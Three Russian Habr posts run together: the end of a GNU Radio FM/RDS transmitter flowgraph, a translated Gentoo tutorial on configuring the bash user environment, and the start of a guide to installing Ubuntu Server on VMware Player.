(264, 4)
\_rotation
0
id
freq
value
95.6e6
variable\_slider
comment
converver
float\_converter
value
.75
\_enabled
True
\_coordinate
(544, 4)
\_rotation
0
grid\_pos
id
input\_gain
label
max
10
min
0
notebook
num\_steps
100
style
wx.SL\_HORIZONTAL
variable\_slider
comment
converver
float\_converter
value
.09
\_enabled
True
\_coordinate
(928, 4)
\_rotation
0
grid\_pos
id
pilot\_gain
label
max
3
min
0
notebook
num\_steps
100
style
wx.SL\_HORIZONTAL
variable\_slider
comment
converver
float\_converter
value
.05
\_enabled
True
\_coordinate
(800, 4)
\_rotation
0
grid\_pos
id
rds\_gain
label
max
3
min
0
notebook
num\_steps
100
style
wx.SL\_HORIZONTAL
variable\_slider
comment
converver
float\_converter
value
.45
\_enabled
True
\_coordinate
(672, 4)
\_rotation
0
grid\_pos
id
stereo\_gain
label
max
3
min
0
notebook
num\_steps
100
style
wx.SL\_HORIZONTAL
blocks\_multiply\_const\_vxx
alias
comment
const
input\_gain
affinity
\_enabled
True
\_coordinate
(392, 764)
\_rotation
0
id
blocks\_multiply\_const\_vxx\_0
type
float
maxoutbuf
0
minoutbuf
0
vlen
1
blocks\_multiply\_const\_vxx
alias
comment
const
rds\_gain
affinity
\_enabled
1
\_coordinate
(948, 432)
\_rotation
270
id
blocks\_multiply\_const\_vxx\_0\_0
type
float
maxoutbuf
0
minoutbuf
0
vlen
1
blocks\_multiply\_const\_vxx
alias
comment
const
pilot\_gain
affinity
\_enabled
True
\_coordinate
(200, 300)
\_rotation
0
id
blocks\_multiply\_const\_vxx\_0\_0\_1
type
float
maxoutbuf
0
minoutbuf
0
vlen
1
blocks\_multiply\_const\_vxx
alias
comment
const
input\_gain
affinity
\_enabled
True
\_coordinate
(400, 812)
\_rotation
0
id
blocks\_multiply\_const\_vxx\_0\_1
type
float
maxoutbuf
0
minoutbuf
0
vlen
1
blocks\_repeat
alias
comment
affinity
\_enabled
1
\_coordinate
(1080, 172)
\_rotation
0
id
blocks\_repeat\_0
interp
160
maxoutbuf
0
minoutbuf
0
type
float
vlen
1
blocks\_socket\_pdu
alias
comment
affinity
\_enabled
1
\_coordinate
(24, 148)
\_rotation
0
host
id
blocks\_socket\_pdu\_0
mtu
10000
maxoutbuf
0
minoutbuf
0
port
52001
tcp\_no\_delay
False
type
"TCP\_SERVER"
blocks\_throttle
alias
comment
affinity
\_enabled
True
\_coordinate
(232, 764)
\_rotation
0
id
blocks\_throttle\_1
ignoretag
True
maxoutbuf
0
minoutbuf
0
samples\_per\_second
48000
type
float
vlen
1
blocks\_throttle
alias
comment
affinity
\_enabled
True
\_coordinate
(240, 812)
\_rotation
0
id
blocks\_throttle\_2
ignoretag
True
maxoutbuf
0
minoutbuf
0
samples\_per\_second
48000
type
float
vlen
1
blocks\_wavfile\_source
alias
comment
affinity
\_enabled
1
file
D:\MyProjects\GNURadio\sound.wav
\_coordinate
(16, 768)
\_rotation
0
id
blocks\_wavfile\_source\_0
maxoutbuf
0
minoutbuf
0
nchan
2
repeat
True
blocks\_add\_xx
alias
comment
affinity
\_enabled
True
\_coordinate
(472, 552)
\_rotation
0
id
gr\_add\_xx\_0
type
float
maxoutbuf
0
minoutbuf
0
num\_inputs
2
vlen
1
blocks\_add\_xx
alias
comment
affinity
\_enabled
True
\_coordinate
(840, 640)
\_rotation
270
id
gr\_add\_xx\_1
type
float
maxoutbuf
0
minoutbuf
0
num\_inputs
4
vlen
1
blocks\_char\_to\_float
alias
comment
affinity
\_enabled
1
\_coordinate
(944, 172)
\_rotation
0
id
gr\_char\_to\_float\_0
maxoutbuf
0
minoutbuf
0
scale
1
vlen
1
digital\_diff\_encoder\_bb
alias
comment
affinity
\_enabled
1
\_coordinate
(400, 172)
\_rotation
0
id
gr\_diff\_encoder\_bb\_0
maxoutbuf
0
minoutbuf
0
modulus
2
analog\_frequency\_modulator\_fc
alias
comment
affinity
\_enabled
True
\_coordinate
(944, 764)
\_rotation
0
id
gr\_frequency\_modulator\_fc\_0
maxoutbuf
0
minoutbuf
0
sensitivity
2\*math.pi\*fm\_max\_dev/data\_rate
digital\_map\_bb
alias
comment
affinity
\_enabled
1
\_coordinate
(824, 172)
\_rotation
0
id
gr\_map\_bb\_0
map
[-1,1]
maxoutbuf
0
minoutbuf
0
digital\_map\_bb
alias
comment
affinity
\_enabled
1
\_coordinate
(576, 172)
\_rotation
0
id
gr\_map\_bb\_1
map
[1,2]
maxoutbuf
0
minoutbuf
0
blocks\_multiply\_xx
alias
comment
affinity
\_enabled
1
\_coordinate
(1432, 232)
\_rotation
0
id
gr\_multiply\_xx\_0
type
float
maxoutbuf
0
minoutbuf
0
num\_inputs
2
vlen
1
blocks\_multiply\_xx
alias
comment
affinity
\_enabled
True
\_coordinate
(768, 360)
\_rotation
0
id
gr\_multiply\_xx\_1
type
float
maxoutbuf
0
minoutbuf
0
num\_inputs
2
vlen
1
gr\_rds\_encoder
af1
89.8e6
alias
comment
affinity
\_enabled
1
\_coordinate
(160, 96)
\_rotation
0
id
gr\_rds\_encoder\_0
ms
True
maxoutbuf
0
minoutbuf
0
pi\_country\_code
13
pi\_coverage\_area
0
pi\_reference\_number
147
ps
SDRRADIO
pty\_locale
0
pty
0
radiotext
Hello HABR!
ta
False
tp
True
analog\_sig\_source\_x
amp
1
alias
comment
affinity
\_enabled
True
freq
38e3
\_coordinate
(24, 372)
\_rotation
0
id
gr\_sig\_source\_x\_0
maxoutbuf
0
minoutbuf
0
offset
0
type
float
samp\_rate
data\_rate
waveform
analog.GR\_SIN\_WAVE
analog\_sig\_source\_x
amp
1
alias
comment
affinity
\_enabled
1
freq
57e3
\_coordinate
(1264, 100)
\_rotation
0
id
gr\_sig\_source\_x\_0\_0
maxoutbuf
0
minoutbuf
0
offset
0
type
float
samp\_rate
data\_rate
waveform
analog.GR\_SIN\_WAVE
analog\_sig\_source\_x
amp
1
alias
comment
affinity
\_enabled
True
freq
19e3
\_coordinate
(24, 268)
\_rotation
0
id
gr\_sig\_source\_x\_0\_1
maxoutbuf
0
minoutbuf
0
offset
0
type
float
samp\_rate
data\_rate
waveform
analog.GR\_SIN\_WAVE
blocks\_sub\_xx
alias
comment
affinity
\_enabled
True
\_coordinate
(448, 456)
\_rotation
0
id
gr\_sub\_xx\_0
type
float
maxoutbuf
0
minoutbuf
0
num\_inputs
2
vlen
1
blocks\_unpack\_k\_bits\_bb
alias
comment
affinity
\_enabled
1
\_coordinate
(680, 172)
\_rotation
0
id
gr\_unpack\_k\_bits\_bb\_0
k
2
maxoutbuf
0
minoutbuf
0
import
alias
comment
\_enabled
True
\_coordinate
(8, 4)
\_rotation
0
id
import\_0
import
import math
low\_pass\_filter
beta
6.76
alias
comment
affinity
cutoff\_freq
2.5e3
decim
1
\_enabled
1
type
interp\_fir\_filter\_fff
\_coordinate
(1248, 212)
\_rotation
0
gain
1
id
low\_pass\_filter\_0
interp
1
maxoutbuf
0
minoutbuf
0
samp\_rate
data\_rate
width
.5e3
win
firdes.WIN\_HAMMING
low\_pass\_filter
beta
6.76
alias
comment
affinity
cutoff\_freq
15e3
decim
1
\_enabled
True
type
interp\_fir\_filter\_fff
\_coordinate
(584, 532)
\_rotation
0
gain
1
id
low\_pass\_filter\_0\_0
interp
1
maxoutbuf
0
minoutbuf
0
samp\_rate
data\_rate
width
2e3
win
firdes.WIN\_HAMMING
low\_pass\_filter
beta
6.76
alias
comment
affinity
cutoff\_freq
15e3
decim
1
\_enabled
True
type
interp\_fir\_filter\_fff
\_coordinate
(584, 396)
\_rotation
0
gain
1
id
low\_pass\_filter\_0\_0\_0
interp
1
maxoutbuf
0
minoutbuf
0
samp\_rate
data\_rate
width
2e3
win
firdes.WIN\_HAMMING
rational\_resampler\_xxx
alias
comment
affinity
decim
6
\_enabled
True
fbw
0
\_coordinate
(168, 444)
\_rotation
0
id
rational\_resampler\_xxx\_0
interp
48
maxoutbuf
0
minoutbuf
0
taps
type
fff
rational\_resampler\_xxx
alias
comment
affinity
decim
6
\_enabled
True
fbw
0
\_coordinate
(160, 540)
\_rotation
0
id
rational\_resampler\_xxx\_0\_0
interp
48
maxoutbuf
0
minoutbuf
0
taps
type
fff
rational\_resampler\_xxx
alias
comment
affinity
decim
38
\_enabled
1
fbw
0
\_coordinate
(1104, 740)
\_rotation
0
id
rational\_resampler\_xxx\_1
interp
50
maxoutbuf
0
minoutbuf
0
taps
type
ccc
uhd\_usrp\_sink
alias
ant0
TX/RX
bw0
0
center\_freq0
freq
norm\_gain0
False
gain0
50
ant10
bw10
0
center\_freq10
0
norm\_gain10
False
gain10
0
ant11
bw11
0
center\_freq11
0
norm\_gain11
False
gain11
0
ant12
bw12
0
center\_freq12
0
norm\_gain12
False
gain12
0
ant13
bw13
0
center\_freq13
0
norm\_gain13
False
gain13
0
ant14
bw14
0
center\_freq14
0
norm\_gain14
False
gain14
0
ant15
bw15
0
center\_freq15
0
norm\_gain15
False
gain15
0
ant16
bw16
0
center\_freq16
0
norm\_gain16
False
gain16
0
ant17
bw17
0
center\_freq17
0
norm\_gain17
False
gain17
0
ant18
bw18
0
center\_freq18
0
norm\_gain18
False
gain18
0
ant19
bw19
0
center\_freq19
0
norm\_gain19
False
gain19
0
ant1
bw1
0
center\_freq1
0
norm\_gain1
False
gain1
0
ant20
bw20
0
center\_freq20
0
norm\_gain20
False
gain20
0
ant21
bw21
0
center\_freq21
0
norm\_gain21
False
gain21
0
ant22
bw22
0
center\_freq22
0
norm\_gain22
False
gain22
0
ant23
bw23
0
center\_freq23
0
norm\_gain23
False
gain23
0
ant24
bw24
0
center\_freq24
0
norm\_gain24
False
gain24
0
ant25
bw25
0
center\_freq25
0
norm\_gain25
False
gain25
0
ant26
bw26
0
center\_freq26
0
norm\_gain26
False
gain26
0
ant27
bw27
0
center\_freq27
0
norm\_gain27
False
gain27
0
ant28
bw28
0
center\_freq28
0
norm\_gain28
False
gain28
0
ant29
bw29
0
center\_freq29
0
norm\_gain29
False
gain29
0
ant2
bw2
0
center\_freq2
0
norm\_gain2
False
gain2
0
ant30
bw30
0
center\_freq30
0
norm\_gain30
False
gain30
0
ant31
bw31
0
center\_freq31
0
norm\_gain31
False
gain31
0
ant3
bw3
0
center\_freq3
0
norm\_gain3
False
gain3
0
ant4
bw4
0
center\_freq4
0
norm\_gain4
False
gain4
0
ant5
bw5
0
center\_freq5
0
norm\_gain5
False
gain5
0
ant6
bw6
0
center\_freq6
0
norm\_gain6
False
gain6
0
ant7
bw7
0
center\_freq7
0
norm\_gain7
False
gain7
0
ant8
bw8
0
center\_freq8
0
norm\_gain8
False
gain8
0
ant9
bw9
0
center\_freq9
0
norm\_gain9
False
gain9
0
clock\_rate
0.0
comment
affinity
dev\_addr
dev\_args
""
\_enabled
1
\_coordinate
(1296, 724)
\_rotation
0
id
uhd\_usrp\_sink
type
fc32
clock\_source0
sd\_spec0
time\_source0
clock\_source1
sd\_spec1
time\_source1
clock\_source2
sd\_spec2
time\_source2
clock\_source3
sd\_spec3
time\_source3
clock\_source4
sd\_spec4
time\_source4
clock\_source5
sd\_spec5
time\_source5
clock\_source6
sd\_spec6
time\_source6
clock\_source7
sd\_spec7
time\_source7
nchan
1
num\_mboards
1
samp\_rate
500000
hide\_cmd\_port
False
hide\_lo\_controls
True
stream\_args
stream\_chans
[]
sync
len\_tag\_name
otw
wxgui\_fftsink2
avg\_alpha
0
average
False
baseband\_freq
0
alias
comment
affinity
\_enabled
1
fft\_size
1024
freqvar
None
\_coordinate
(1104, 520)
\_rotation
0
grid\_pos
id
wxgui\_fftsink2\_0
notebook
peak\_hold
False
ref\_level
0
ref\_scale
2.0
fft\_rate
30
samp\_rate
data\_rate
title
FFT Plot
type
float
win\_size
win
None
y\_divs
10
y\_per\_div
20
blocks\_multiply\_const\_vxx\_0
rational\_resampler\_xxx\_0
0
0
blocks\_multiply\_const\_vxx\_0\_0
gr\_add\_xx\_1
0
0
blocks\_multiply\_const\_vxx\_0\_0\_1
gr\_add\_xx\_1
0
1
blocks\_multiply\_const\_vxx\_0\_1
rational\_resampler\_xxx\_0\_0
0
0
blocks\_repeat\_0
low\_pass\_filter\_0
0
0
blocks\_socket\_pdu\_0
gr\_rds\_encoder\_0
pdus
rds in
blocks\_throttle\_1
blocks\_multiply\_const\_vxx\_0
0
0
blocks\_throttle\_2
blocks\_multiply\_const\_vxx\_0\_1
0
0
blocks\_wavfile\_source\_0
blocks\_throttle\_1
0
0
blocks\_wavfile\_source\_0
blocks\_throttle\_2
1
0
gr\_add\_xx\_0
low\_pass\_filter\_0\_0
0
0
gr\_add\_xx\_1
gr\_frequency\_modulator\_fc\_0
0
0
gr\_add\_xx\_1
wxgui\_fftsink2\_0
0
0
gr\_char\_to\_float\_0
blocks\_repeat\_0
0
0
gr\_diff\_encoder\_bb\_0
gr\_map\_bb\_1
0
0
gr\_frequency\_modulator\_fc\_0
rational\_resampler\_xxx\_1
0
0
gr\_map\_bb\_0
gr\_char\_to\_float\_0
0
0
gr\_map\_bb\_1
gr\_unpack\_k\_bits\_bb\_0
0
0
gr\_multiply\_xx\_0
blocks\_multiply\_const\_vxx\_0\_0
0
0
gr\_multiply\_xx\_1
gr\_add\_xx\_1
0
2
gr\_rds\_encoder\_0
gr\_diff\_encoder\_bb\_0
0
0
gr\_sig\_source\_x\_0
gr\_multiply\_xx\_1
0
0
gr\_sig\_source\_x\_0\_0
gr\_multiply\_xx\_0
0
0
gr\_sig\_source\_x\_0\_1
blocks\_multiply\_const\_vxx\_0\_0\_1
0
0
gr\_sub\_xx\_0
low\_pass\_filter\_0\_0\_0
0
0
gr\_unpack\_k\_bits\_bb\_0
gr\_map\_bb\_0
0
0
low\_pass\_filter\_0
gr\_multiply\_xx\_0
0
1
low\_pass\_filter\_0\_0
gr\_add\_xx\_1
0
3
low\_pass\_filter\_0\_0\_0
gr\_multiply\_xx\_1
0
1
rational\_resampler\_xxx\_0
gr\_add\_xx\_0
0
0
rational\_resampler\_xxx\_0
gr\_sub\_xx\_0
0
0
rational\_resampler\_xxx\_0\_0
gr\_add\_xx\_0
0
1
rational\_resampler\_xxx\_0\_0
gr\_sub\_xx\_0
0
1
rational\_resampler\_xxx\_1
uhd\_usrp\_sink
0
0
```
И как обычно, всем удачных экспериментов. И не создавайте помехи другим радиостанциям. | https://habr.com/ru/post/456262/ | null | ru | null |
# Основы Linux от основателя Gentoo. Часть 3 (4/4): Настройка пользовательского окружения
Заключительная глава третьей части серии руководств Linux для новичков. Основы конфигурирования рабочей оболочки, настройка переменных окружения, а также подведение итогов всей третьей части.
> [](http://www.gnu.org/graphics/3dbabygnutux.html)
>
> ##### **Навигация по основам Linux от основателя Gentoo:**
>
>
>
> ###### Часть I:
>
> 1. [BASH, основы навигации](http://habrahabr.ru/blogs/linux/99041/ "BASH: основы навигации (вступление)")
> 2. [Управление файлами и директориями](http://habrahabr.ru/blogs/linux/99291/ "Управление файлами и директориями")
> 3. [Ссылки, а также удаление файлов и директорий](http://habrahabr.ru/blogs/linux/99653/ "Ссылки, а также удаление файлов и директорий")
> 4. [Glob-подстановки](http://habrahabr.ru/blogs/linux/99827/ "Glob-подстановки (итоги и ссылки)")
>
> ###### Часть II:
>
> 1. [Регулярные выражения](http://habrahabr.ru/blogs/linux/102442/ "Регулярные выражения (вступление)")
> 2. [Назначения папок, поиск файлов](http://habrahabr.ru/blogs/linux/105495/ "Назначения папок, поиск файлов")
> 3. [Управление процессами](http://habrahabr.ru/blogs/linux/105657/ "Управление процессами")
> 4. [Обработка текста и перенаправления](http://habrahabr.ru/blogs/linux/105926/ "Обработка текста и перенаправления")
> 5. [Модули ядра](http://habrahabr.ru/blogs/linux/107981/ "Модули ядра (итоги и ссылки)")
>
> ###### Часть III
>
> 1. [Документация](http://habrahabr.ru/blogs/linux/108764/ "Документация")
> 2. [Модель прав доступа](http://habrahabr.ru/blogs/linux/109392/)
> 3. [Управление аккаунтами](http://habrahabr.ru/blogs/linux/110012/)
> 4. **Настройка окружения**
>
Настройка пользовательского окружения
-------------------------------------
### Знакомство с «fortune»
У вашего окружения есть много полезных опций, которые вы можете изменить по своему усмотрению. Однако до сих пор мы не обсуждали как восстанавливать эти настройки каждый раз, когда вы входите в систему, исключая то, чтобы каждый раз набирать их заново. В этом разделе мы рассмотрим настройку вашего окружения посредством редактирования стартовых конфигурационных файлов.
Для начала, давайте покажем дружелюбное сообщение когда вы будете входить в систему. Чтобы увидеть пример такого сообщения, запустите *fortune*:
`$ **fortune**
No amount of careful planning will ever replace dumb luck.`
(приложение fortune может быть не установлено, запустите установку в пакетном менеджере вашего дистрибутива, например apt-get install fortune — прим. пер.)
### .bash\_profile
Теперь давайте сделаем так чтобы *fortune* запускалось при каждой авторизации. Используя любимый текстовый редактор отредактируйте файл *.bash\_profile* в вашей домашней директории. Если такого файла не существует, создайте его. Вставьте в его начало:
`fortune`
Попробуйте выйти из системы и зайдите обратно. До запуска менеджера дисплея, такого как например xdm, gdm или kdm, вы увидите веселое приветствие, когда войдете:
`mycroft.flatmonk.org login: chouser
Password:
Freedom from incrustations of grime is contiguous to rectitude.
$`
### Оболочка входа.
При запуске bash проходит файл .bash\_profile в вашей домашней директории, запуская каждую строчку как будто набирая ее в командной строке. Это называется интерпретацией файла (file sourcing).
Bash может работать различным образом в зависимости от того, как он запущен. Если он запущен как оболочка входа, то будет работать, как описано выше — сначала обработая общесистемный /etc/profile, а затем ваш личный ~/.bash\_profile.
Существуют два способа запуска bash в качестве оболочки входа. Первый используется когда вы впервые входите в систему: bash запускается с именем процесса -bash. Можно увидеть это в выводе списка процессов:
`$ **ps u**
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
chouser 404 0.0 0.0 2508 156 tty2 S 2001 0:00 -bash`
Вы, вероятно, увидите более длинный список, но но в нем будет как минимум одна строка с чертой перед именем вашей оболочки, как -bash в примере выше. Эта черта используется оболочкой, чтобы определить, была ли она запущена при авторизации.
### Понимание --login
Второй способ запустить bash как оболочку входа — при помощи опции —login. Время от времени эта возможность используется эмуляторами терминала (вроде xterm) чтобы их сессия bash выглядела как при изначальном входе в системе.
После авторизации можно запустить много копий вашей оболочки. У тех из них которые запущены без опции --login или не имеют черточки перед именем процесса, поведение будет иным нежели при запуске с авторизацией. Они предоставляют вам командную строку, однако, называются они интерактивными оболочками. Если bash запущена интерактивно, без авторизации, она проигнорирует /etc/profile и ~/.bash\_profile вместо этого обработает ~/.bashrc.
**```
interactive login profile rc
```**
```
yes yes source ignore
yes no ignore source
no yes source ignore
no no ignore ignore
```
### Проверка на интерактивность
Иногда bash обрабатывает ваш ~/.bashrc не будучи запущенным интерактивно, например при использовании команд типа rsh или scp. Это важно помнить потому как вывод текста, как в примере с командой fortune выше, может испортить эти неинтерактивные сессии bash. Хорошей идеей является использование переменной PS1 для проверки факта интерактивности текущей сессии перед выводом текста:
`if [ -n "$PS1" ]; then
fortune
fi`
### /etc/profile и /etc/skel
Как системный администратор, вы отвечаете за файл /etc/profile. Так как им руководствуются все кто впервые входят в систему, важно держать его в рабочем состоянии. Это также очень мощный инструмент, используемый для того чтобы заставить вещи работать правильно для новых пользователей сразу после того как они войдут используя свою новую учетную запись.
Однако, существует вариант, при котором, настройки с одной стороны, могут быть выставлены в значения по-умолчанию для новых пользователей, а с другой, могут быть легко ими изменены при необходимости. Как раз для этого и существует директория /etc/skel. При использовании команды useradd для создания новой учетной записи, все файлы из /etc/skel копируются в домашний каталог нового пользователя. Это означает, что вы можете положить, например, .bash\_profile и .bashrc в /etc/skel для более комфортного начала работы нового пользователя.
### export
Переменные в bash могут быть помечены таким образом, что они будут устанавливаться во всех вновь запускаемых командных оболочках. Это означает, что они обозначены как внешние (export). Вы можете заставить bash отобразить список всех таким образом обозначенных внешних переменных в вашей сессии bash:
`$ **export**
declare -x EDITOR="vim"
declare -x HOME="/home/chouser"
declare -x MAIL="/var/spool/mail/chouser"
declare -x PAGER="/usr/bin/less"
declare -x PATH="/bin:/usr/bin:/usr/local/bin:/home/chouser/bin"
declare -x PWD="/home/chouser"
declare -x TERM="xterm"
declare -x USER="chouser"`
### Экспортирование переменных
Если переменная не отмечена на экспорт, её значение не будет задано для новых запускаемых оболочек. Но вы можете отметить переменную на экспорт, передав её встроенной команде export:
`$ **FOO=foo**
$ **BAR=bar**
$ **export BAR**
$ **echo $FOO $BAR**
foo bar
$ **bash**
$ **echo $FOO $BAR**
bar`
В этом примере были заданы обе переменные FOO и BAR, но только BAR была помечена для экспорта. Когда был запущен новый bash он потерял значение переменной FOO. Если вы выйдите из этого нового bash, вы увидите что первоначальные значения обоих переменных FOO и BAR не изменились.
`$ **exit**
$ **echo $FOO $BAR**
foo bar`
### Export и set -x
В связи с вышеописанным поведением, переменные могут быть указаны в ~/.bash\_profile или /etc/profile и помечены для экспорта, для того, чтобы в дальнейшем не было необходимости указывать их снова. Но есть несколько опций которые не могут быть экспортированы, и поэтому они должны быть заданы в ~/.bashrc и в вашем профиле последовательно. Эти опции настраиваются при помощи встроенной команды set:
`$ **set -x**`
Опция -x заставляет bash вывести на экран каждую команду, которую он собирается выполнить:
`$ **echo $FOO**
$ **echo foo**
foo`
Это может быть очень полезно для понимания непредвиденного поведения команд при использовании кавычек или похожих странностей. Чтобы выключить опцию **-x**, используйте **set +x**. Обратитесь к странице документации man за всеми опциями встроенной команды set.
### Установка переменных с «set»
Команда set может также использоваться для задания значений переменных, но при этом указание самой этой команды не является обязательным. Команда в bash «set FOO=foo» делает то же самое, что и «FOO=foo». Сброс значения переменной осуществляется встроенной unset:
`$ **FOO=bar**
$ **echo $FOO**
bar
$ **unset FOO**
$ **echo $FOO**`
### Unset vs. FOO=
Это не то же самое, что установка переменной пустым значением, хотя порой это сложно объяснить. Один из способов эту разницу заметить — вызвать команду set без параметров, чтобы вывести список всех текущих переменных:
`$ **FOO=bar**
$ **set | grep ^FOO**
FOO=bar
$ **FOO=**
$ **set | grep ^FOO**
FOO=
$ **unset FOO**
$ **set | grep ^FOO**`
Использование set без параметров похоже на использование встроенной команды export за исключением того, что set отображает все переменные, а не только обозначенные как внешние.
### Экспортирование переменных для изменения поведения программ.
Часто поведение команд можно изменить установкой переменных окружения. Так же, как в случае новых сессий bash, запускаемые программы из вашей командной строки будут видеть только переменные окружения, помеченные на экспорт. Например, команда man проверяет переменную PAGER, чтобы выяснить какую программу использовать для постраничного просмотра текста.
`$ **PAGER=less**
$ **export PAGER**
$ **man man**`
Когда переменная PAGER установлена в less, вы будете видеть сначала одну страницу, а нажатие пробела будет перемещать вас а следующую страницу. Если вы измените переменную PAGER в cat, то весь текст отобразится сразу, без остановок на страницах.
`$ **PAGER=cat**
$ **man man**`
### Использование «env»
К сожалению, если вы позабудете установить PAGER обратно в less, программа man (как и некоторые другие программы) будет продолжать вывод весь запрошенный текст без остановок. Если вы хотели задать PAGER значение cat только на один раз, то могли бы воспользоваться командой env:
`$ **PAGER=less**
$ **env PAGER=cat man man**
$ **echo $PAGER**
less`
В этом примере переменная PAGER была использована со значением cat в программе man, но сама по себе переменная окружения PAGER осталась неизменной в сессии bash.
Итоги и ссылки
--------------
### Итоги
Ну вот самое время поздравить вас с завершением 3-ей части руководства. Вы уже должны знать как находить информацию в системе и интернет документации, а так же иметь хорошее представление о модели прав доступа в Linux, управлении учетными записями пользователей и окружением.
### Ссылки
Не забудьте посмотреть ресурсы c Linux документацией, использованные в этом руководстве, в особенности [Linux Documentation Project](http://www.tldp.org/), где сможете найти различные гайды, FAQ, а так же бесценные страницы мана. Не забудьте также о [Linux Weekly News](http://www.lwn.net/).
[The Linux System Administrators guide](http://www.tldp.org/guides.html) является хорошим дополнением к этому руководству. Также вы можете найти в интернете весьма полезную статью Эрика Рэймонда "[Unix and Internet Fundamentals HOWTO](http://www.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/)".
Дэниел Роббинс, на примере серии статей, «Bash в примерах», показывает как использовать конструкции программирования для написания собственных скриптов. Эта серия (особенно части 1 и 2) является замечательной подготовкой для экзамена LPIC 1-го уровня, к тому же поможет закрепить усвоенные понятия охватываемые руководством «Настройка пользовательского окружения» разделы:
* **[Bash by example, Part 1: Fundamental programming in the Bourne-again shell](/en/articles/linux/bash/1)** (перевод планируется)
* **[Bash by example, Part 2: More bash programming fundamentals](/en/articles/linux/bash/2)** (перевод планируется)
* **[Bash by example, Part 3: Exploring the ebuild system.](/en/articles/linux/bash/3)** (перевод планируется)
Если вы не знакомы с текстовым редактором Vi прочтите вступление Дэниела в руководстве "[Vi intro — the cheat sheet method tutorial](http://www-106.ibm.com/developerworks/edu/l-dw-linuxvi-i.html)". Оно позволит вам легко и в тоже время быстро освоить всю мощь Vi. Считайте, что этот материал обязателен для прочтения если вы не знаете как пользоваться Vi.
Для знакомства с редактором Emacs, смотрите руководство «the developerWorks», "[Living in Emacs](http://www-106.ibm.com/developerworks/edu/l-dw-linuxemacs-i.html)".
Перевод выполнил коллективный разум с помощью [notabenoid.com](http://notabenoid.com). Спасибо следующим benoid-юзерам (в алфавитном порядке): **kindacute**, **nekjine**, **Rich**. Отдельная благодарность Алексею Блажко (blazhkoa@gmail.com), а также инициатору всей серии переводов, [VBart](https://habrahabr.ru/users/vbart/).
**Продолжение следует...**
---
Об авторах
----------
### Daniel Robbins
Дэниэль Роббинс — основатель сообщества Gentoo и создатель операционной системы Gentoo Linux. Дэниэль проживает в Нью-Мехико со свой женой Мэри и двумя энергичными дочерьми. Он также основатель и глава [Funtoo](http://www.funtoo.org/), написал множество технических статей для [IBM developerWorks](http://www.ibm.com/developerworks/), Intel Developer Services и C/C++ Users Journal.
### Chris Houser
Крис Хаусер был сторонником UNIX c 1994 года, когда присоединился к команде администраторов университета Тэйлора (Индиана, США), где получил степень бакалавра в компьютерных науках и математике. После он работал во множестве областей, включая веб-приложения, редактирование видео, драйвера для UNIX и криптографическую защиту. В настоящий момент работает в Sentry Data Systems. Крис также сделал вклад во множество свободных проектов, таких как Gentoo Linux и Clojure, стал соавтором книги [The Joy of Clojure](http://joyofclojure.com).
### Aron Griffis
Эйрон Гриффис живет на территории Бостона, где провел последнее десятилетие работая в Hewlett-Packard над такими проектами, как сетевые UNIX-драйвера для Tru64, сертификация безопасности Linux, Xen и KVM виртуализация, и самое последнее — платформа [HP ePrint](http://hpeprint.com/). В свободное от программирования время Эйрон предпочитает размышлять над проблемами программирования катаясь на своем велосипеде, жонглируя битами, или болея за бостонскую профессиональную бейсбольную команду «Красные Носки». | https://habr.com/ru/post/110697/ | null | ru | null |
# Полноценная замена Denwer или разворачиваем Ubuntu-server на VMware (часть 1)
Все кто занимается разработкой сайтов под windows, наверняка сталкивались с различными проблемами после запуска сайта на сервере. Проблемы эти появляются из-за того, что сервера обычно работают под ОС Linux. Кроме того, время от времени появляются очень интересные штуки на подобие NodeJS (портировали на win, но не сразу), которые очень хочется покрутить, но нельзя – на windows их нет. Однако, при всех этих недостатках с windows уходить не хочется, ведь здесь куча своих плюсов и привычно ведь в конце-то концов.
Но не стоит огорчаться, ведь есть виртуализация, которая спешит нам на помощь.
Создаем виртуальную машину
--------------------------
Есть много различных программ для решения этой задачи, я воспользуюсь VMware player.
Запускаем VMware player и переходим в «Создать новую ВМ». Далее делаем все как на скринах или на свое усмотрение (в зависимости от доступных вам ресурсов).
После завершения процесса создания ВМ в правой колонке появится созданная вами виртуальная машина.
Теперь, ее надо настроить. Переходим в настройки «Изменить настройки виртуальной машины» > CD/DVD(IDE). Ставим переключатель на «Use iso image file» и выбираем образ нашей Ubuntu.
> **Примечание**
>
> Ubuntu естественно надо скачать с официального сайта. Я выбрал Ubuntu 11.04 x32, т.к. x64 у меня не запустилась (кажется из-за отсутствия поддержки аппаратной виртуализации).
>
>
Теперь идем в раздел «Network Adapter» и ставим NAT.
Ставим Ubuntu
-------------
Запускаем нашу ВМ «Запустить виртуальную машину». И следуем по шагам.
* В окне Language выберите язык «Русский».
* Далее выберите «Установить Ubuntu Server».
* Выберите страну и область (регион) — Российская Федерация.
* Определить раскладку клавиатуры? — Нет.
* Для кого предназначена клавиатура? — Россия.
* Раскладка клавиатуры — Россия.
* Способ переключения между национальной и латинской раскладкой — Control+Shift.
* Основной сетевой интерфейс (может не появится, если в системе только одна сетевая карта) но нас это не устраивает. По этому, нажмите клавишу Escape и настройте сеть вручную.
* IP-адрес — свободный локальный IP-адрес в вашей локальной сети (например: у меня, 192.168.80.3).
> **Примечание**
>
> IP выбираем следующим образом: пуск > все программы > VMware > Virtual Network Editor
>
>
>
> 
>
>
>
> Здесь нас интересует интерфейс VMnet8 (выберите его) и зайдите в NAT Settings. Теперь запомните или запишите Gateway IP. У меня он 192.168.80.2, а значит моя сеть это 192.168.80.x (у вас они скорее всего другие). Также в сети уже занят IP 192.168.80.1 — он у основной OS (windows). По этому, IP нашей Ubuntu будет 192.168.80.3 (не забывайте, что эта «192.168.80. » часть у вас своя).
>
>
* Маска подсети — 255.255.255.0.
* Шлюз — введите IP-адрес шлюза локальной сети для выхода в интернет. Это ваш Gateway IP.
* Адреса DNS-серверов — обычно совпадает со шлюзом, просто нажмите Enter, если это так; в противном случае введите нужный IP-адрес DNS-сервера.
* Имя компьютера — любое название латинскими буквами.
* Имя домена.
* Окно Настройка времени. Если есть интернет, то определится автоматом. Если определилось не правильно, тона вопрос «Is this time zone correct?» — ответьте «нет» и выберите свою временную зону из списка (например, Europe/Moscow).
* Метод разметки (разметка дисков) — Авто — использовать весь диск и настроить LVM.
* Выберите диск для разметки — выберите (обычно он один).
* Удалить имеющиеся данные с логического тома — Да.
* Записать изменения на диск и настроить LVM — Да.
* Размер группы томов, используемый для установки — просто нажмите Enter.
* Записать изменения на диск — Да.
